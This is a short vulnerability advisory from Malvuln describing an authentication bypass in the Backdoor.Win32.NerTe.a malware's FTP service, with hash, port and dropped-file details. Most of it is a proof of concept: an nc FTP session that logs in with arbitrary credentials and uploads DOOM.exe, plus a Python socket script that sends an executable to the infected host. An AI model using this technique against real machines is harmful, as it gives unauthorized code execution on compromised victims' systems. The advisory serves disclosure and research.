Backdoor.Win32.NerTe.a Authentication Bypass / Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/125364b0cdae80c10f00b75c8e2cfa47.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.NerTe.a  
Vulnerability: Authentication Bypass RCE  
Description: The malware listens on TCP ports 21, 80 and drops an executable under Windows dir. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.  
Type: PE32  
MD5: 125364b0cdae80c10f00b75c8e2cfa47  
Vuln ID: MVID-2021-0285  
Dropped files: TaskMonitors.exe  
Disclosure: 07/12/2021  
  
  
Exploit/PoC:  
nc64.exe 192.168.18.127 21  
220 ICS FTP Server ready.  
USER mal  
331 Password required for mal.  
PASS vuln  
230 User mal logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
CDUP  
250 CWD command successful. "C:/" is current directory.  
PASV  
227 Entering Passive Mode (192,168,18,127,195,82).  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
226 File received ok  
  
  
from socket import *  
  
MALWARE_HOST="192.168.18.127"  
PORT=50002  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("Backdoor.Win32.NerTe.a / Authentication Bypass RCE")  
print("MD5: 125364b0cdae80c10f00b75c8e2cfa47")  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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`